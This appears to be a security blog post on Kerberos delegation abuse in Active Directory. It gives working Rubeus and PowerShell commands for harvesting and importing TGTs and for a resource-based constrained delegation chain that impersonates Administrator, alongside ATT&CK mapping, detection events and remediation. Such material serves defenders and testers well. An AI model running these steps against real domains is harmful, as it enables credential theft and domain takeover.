Blog
Kerberos delegation pivots operators still abuse
Unconstrained, constrained, and resource-based constrained delegation are Active Directory misconfigurations that translate a single service compromise into domain-wide credential access. Despite years of Microsoft hardening guidance, delegation misconfigurations remain common in large enterprise forests.
Active Directory
Kerberos delegation is a legitimate Active Directory feature: it allows a service to impersonate a user when making downstream calls to other services on the user's behalf. It is also one of the most frequently abused misconfiguration classes in AD environments. Three delegation types exist, with different abuse paths and different prerequisites.
This post covers the abuse chain for each delegation type, the MITRE ATT&CK mapping, and the operator checklist for discovering and exploiting delegation misconfigurations.
Delegation type comparison
| Delegation type | Configuration | Scope | Prerequisite for abuse | Impact |
|---|---|---|---|---|
| Unconstrained | TrustedForDelegation = TRUE on computer or service account | Delegates to any service | Compromise of the server with unconstrained delegation | Any user who authenticates to the server exposes their TGT |
| Constrained | msDS-AllowedToDelegateTo attribute set | Delegates to specific SPNs only | Compromise of the service account | Impersonate any user to specifically listed services |
| Resource-based constrained (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity on target resource | Target controls which principals can delegate to it | Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity | Configure delegation to yourself; impersonate any user to target |
Abuse chains by delegation type
Loading diagram…
Unconstrained delegation: TGT harvesting
Unconstrained delegation is the most dangerous configuration. Servers with TrustedForDelegation = TRUE receive copies of the authenticating user's TGT, cached in LSASS. Any user who authenticates — including via Kerberos-based services, print spoolers, or coercion techniques — leaves their TGT on the server.
Find unconstrained delegation accounts:
# Find computers with unconstrained delegation (excluding domain controllers, which have it by design)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, OperatingSystem |
Where-Object { $_.OperatingSystem -notmatch "Domain Controller" } |
Select-Object Name, OperatingSystem
# Find service accounts with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
Select-Object SamAccountName, Enabled, TrustedForDelegationTGT extraction after compromise of the server:
# With Rubeus on a compromised server with unconstrained delegation
Rubeus.exe triage # list cached tickets
Rubeus.exe dump /service:krbtgt # extract TGT for domain users
Rubeus.exe ptt /ticket:<base64> # import TGT for useCoercion to force TGT delivery:
If no privileged user authenticates organically, coercion techniques (PrinterBug/SpoolSample against domain controllers; PetitPotam if not mitigated; DFSCoerce) can force a DC machine account to authenticate to the unconstrained delegation server. DC machine account TGTs can be used for DCSync.
Constrained delegation: S4U abuse
Constrained delegation restricts the service account to delegating only to specific SPNs listed in msDS-AllowedToDelegateTo. This is better than unconstrained, but it still allows the compromised service account to obtain valid Kerberos tickets for any user to those specific services — including domain admin–held services.
Find constrained delegation accounts:
# Find accounts with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo |
Select-Object Name, @{Name="DelegateTo";Expression={$_."msDS-AllowedToDelegateTo"}}With a compromised account that has constrained delegation configured, use the S4U2Proxy extension to request a TGS for any domain user to the allowed service. CIFS delegation to a file server, for example, enables reading any file on that server as any domain user, including domain admins.
Resource-based constrained delegation: the write-access escalation
RBCD is the most flexible abuse path because the configuration lives on the target resource, not the source account. An attacker who can write to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute can configure that computer to accept delegation from an attacker-controlled account.
Write access to a computer object is the common prerequisite. Sources of write access: - Default creator rights: the account that joined a workstation to the domain often retains GenericWrite on that computer object - Delegated OU permissions: help-desk OUs may have write access granted for workstation management - Misconfigured ACLs on computer objects: WriteProperty or GenericAll from group memberships
RBCD exploit chain:
# Step 1: Create or use an existing machine account (attackers with domain user rights can create
# machine accounts up to the MachineAccountQuota)
# Step 2: Set RBCD on target computer to the attacker-controlled machine account
Set-ADComputer -Identity "TARGET$" -PrincipalsAllowedToDelegateToAccount (Get-ADComputer "ATTACKER$")
# Step 3: Use Rubeus or impacket to S4U2Self + S4U2Proxy for any user to the target
Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /pttMITRE ATT&CK mapping
| Technique | ID | Delegation type |
|---|---|---|
| Steal or Forge Kerberos Tickets: Golden Ticket | T1558.001 | Post-unconstrained TGT abuse |
| Steal or Forge Kerberos Tickets: Silver Ticket | T1558.002 | Post-constrained abuse |
| Use Alternate Authentication Material: Pass the Ticket | T1550.003 | TGT reuse from unconstrained server |
| Account Manipulation | T1098 | RBCD attribute write |
Detection artefacts
| Event | Log source | What it indicates |
|---|---|---|
| Event ID 4769 (RC4 TGS request) from service accounts | DC Security log | Possible Kerberoasting or S4U abuse |
| S4U2Self or S4U2Proxy in Kerberos audit log (4768/4769 with unusual Transited-Services) | DC Security log | Delegation chain in use |
msDS-AllowedToActOnBehalfOfOtherIdentity modified | DC Security Event ID 5136 | RBCD attribute written — potential abuse setup |
| TGT from domain controller authenticating to unexpected workstation | DC Kerberos logs | Coercion to unconstrained delegation server |
Remediation summary
- Unconstrained delegation: audit and remove from all non-DC computer accounts; use constrained or RBCD instead
- Constrained delegation: audit
msDS-AllowedToDelegateToentries; remove delegation to sensitive services (CIFS on DCs, krbtgt service) - RBCD: audit
GenericWriteandWritePropertyACLs on computer objects; reduce MachineAccountQuota to 0 in environments where it is not operationally required - Protected users group: adding highly privileged accounts to the Protected Users security group prevents their TGTs from being delegated — hard block on unconstrained and constrained delegation abuse for those accounts
Sources
- Kerberos delegation — Microsoft Learn (2024-01-01)
- T1558 Steal or Forge Kerberos Tickets — MITRE ATT&CK (2024-01-01)
- Kerberos delegation, SPNs and more — harmj0y (2022-01-01)